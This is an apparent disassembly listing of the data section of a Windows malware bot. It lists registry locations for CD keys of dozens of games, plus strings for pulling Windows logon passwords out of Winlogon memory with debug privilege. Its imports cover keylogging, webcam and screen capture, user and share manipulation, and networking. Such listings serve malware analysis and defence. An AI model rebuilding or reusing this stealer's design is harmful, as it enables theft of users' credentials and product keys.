					; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
		push	500042CAh
		retf	42h
; ---------------------------------------------------------------------------
dword_42B8A0	dd 2 dup(0)		; DATA XREF: sub_408C26+26o
		dd 80000001h, 42CA28h, 42CA1Ch,	42CA0Ch, 2 dup(0)
		dd 80000001h, 42C9ECh, 42C9E8h,	42C9D4h, 2 dup(0)
		dd 80000001h, 42C9B0h, 42C9E8h,	42C9A4h, 2 dup(0)
		dd 80000001h, 42C980h, 42C978h,	42C964h, 2 dup(0)
		dd 80000001h, 42C950h, 42C940h,	42C924h, 2 dup(0)
		dd 80000001h, 42C8E0h, 42CA68h,	42C8CCh, 2 dup(0)
		dd 80000002h, 42C8A0h, 42C894h,	42C874h, 2 dup(0)
		dd 80000002h, 42C840h, 42CA68h,	42C828h, 2 dup(0)
		dd 80000002h, 42C7F4h, 42CA68h,	42C7DCh, 2 dup(0)
		dd 80000002h, 42C7C4h, 42CA68h,	42C7ACh, 2 dup(0)
		dd 80000002h, 42C770h, 43C80Ch,	42C760h, 2 dup(0)
		dd 80000002h, 42C728h, 43C80Ch,	42C714h, 2 dup(0)
		dd 80000002h, 42C6C8h, 43C80Ch,	42C6A8h, 2 dup(0)
		dd 80000002h, 42C658h, 43C80Ch,	42C62Ch, 2 dup(0)
		dd 80000002h, 42C5F0h, 43C80Ch,	42C5DCh, 2 dup(0)
		dd 80000002h, 42C5A4h, 43C80Ch,	42C594h, 2 dup(0)
		dd 80000002h, 42C544h, 43C80Ch,	42C518h, 2 dup(0)
		dd 80000002h, 42C4D8h, 43C80Ch,	42C4BCh, 2 dup(0)
		dd 80000002h, 42C48Ch, 43C80Ch,	42C46Ch, 2 dup(0)
		dd 80000002h, 42C430h, 43C80Ch,	42C41Ch, 2 dup(0)
		dd 80000002h, 42C3D4h, 43C80Ch,	42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_42C360[eax], al
		or	al, 0C8h
		inc	ebx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd 2 dup(0)
		dd 80000002h, 42C2E0h, 43C80Ch,	42C2B4h, 2 dup(0)
		dd 80000002h, 42C274h, 42C26Ch,	42C24Ch, 2 dup(0)
		dd 80000002h, 42C208h, 43C80Ch,	42C1ECh, 2 dup(0)
		dd 80000002h, 42C1A0h, 43C80Ch,	42C17Ch, 2 dup(0)
		dd 80000002h, 42C148h, 43C80Ch,	42C13Ch, 2 dup(0)
		dd 80000002h, 42C108h, 43C80Ch,	42C0FCh, 2 dup(0)
		dd 80000002h, 42C0C8h, 43C80Ch,	42C0BCh, 2 dup(0)
		dd 80000002h, 42C088h, 43C80Ch,	42C07Ch, 2 dup(0)
		dd 80000002h, 42C040h, 43C80Ch,	42C02Ch, 2 dup(0)
		dd 80000002h, 42BFF0h, 43C80Ch,	42BFDCh, 2 dup(0)
		dd 80000002h, 42BFACh, 42CA68h,	42BF90h, 2 dup(0)
		dd 80000002h, 42BF70h, 42BF68h,	42BF44h, 2 dup(0)
		dd 80000002h, 42BF28h, 42BF68h,	42BF08h, 2 dup(0)
		dd 80000002h, 42BEE8h, 42BF68h,	42BEC4h, 2 dup(0)
		dd 80000002h, 42BEACh, 42BF68h,	42BEA8h, 2 dup(0)
		dd 80000002h, 42BE8Ch, 42BE7Ch,	42BE74h, 2 dup(0)
		dd 80000002h, 42BE40h, 42BE3Ch,	42BE24h, 2 dup(0)
		dd 80000002h, 42BDE8h, 42BDDCh,	42BDB4h, 42BDA4h, 42BD90h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD4Ch, 42BD3Ch, 42BD34h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD08h, 42BD3Ch, 42BD00h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BCD0h, 42BD3Ch, 42BCC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: ___:004312F0o
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
byte_42C360	db 53h			; DATA XREF: ___:0042BAA2w
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0
aCdkey		db 'CDKey',0
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
		align 4
asc_42CA98:				; DATA XREF: sub_408C26+E9o
					; sub_408C26+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408C26+8Fo
					; sub_40EE72:loc_413643o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C26+7Eo
					; sub_408EE5+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
		align 4
unk_42CABC	db    2			; DATA XREF: sub_408DCA+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42CAEC	db    2			; DATA XREF: sub_408DCA+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE5+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408EE5+1Ao
		align 4
unk_42CB3C	db    2			; DATA XREF: sub_409037:loc_4091B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42CB80	db    2			; DATA XREF: sub_409037:loc_409183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42CBC4	db    2			; DATA XREF: sub_409037:loc_40917Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42CC0C	db    2			; DATA XREF: sub_409037+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42CC84	dd offset byte_530055	; DATA XREF: sub_409037+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset byte_4E0049
		dd 0
off_42CC9C	dd offset byte_530055	; DATA XREF: sub_409037+CEo
		dd offset byte_520045
		dd offset loc_41004B+3
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409037+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
					; sub_409037+161o ...
		align 10h
unk_42CD60	db    2			; DATA XREF: sub_409037+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409209+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409209+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409209+AFo
		align 10h
unk_42CDC0	db    2			; DATA XREF: sub_40966F+70o
					; sub_409706+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42CE2C	db    2			; DATA XREF: sub_409706+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981F:loc_40A45Ao
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981F+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981F+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981F+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981F+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981F+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981F:loc_40A3BCo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981F+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981F+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981F+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981F:loc_40A2B4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981F:loc_40A26Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981F+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981F+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981F+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981F+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981F+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981F+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981F+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981F+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981F:loc_40A15Fo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981F+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981F+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981F:loc_40A100o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981F+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981F+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981F+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981F+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981F+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981F+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981F+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981F+62Do
					; ___:0042FA44o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981F+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981F+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981F+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981F+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40981F+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981F+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40981F+5D2o
					; sub_40EE72+220Do
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981F+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981F+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981F+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981F+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981F+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981F+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981F+577o
					; ___:0042FE54o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981F+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981F+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981F+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981F+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981F+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981F+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981F+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981F+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981F+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981F+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981F+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981F+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981F+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981F+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981F+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981F+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981F:loc_409C2Eo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981F:loc_409C06o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981F+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981F+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981F+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981F+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981F:loc_409B58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981F+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981F+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981F+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981F:loc_409A7Eo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981F+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981F+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981F+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981F+193o
		align 4
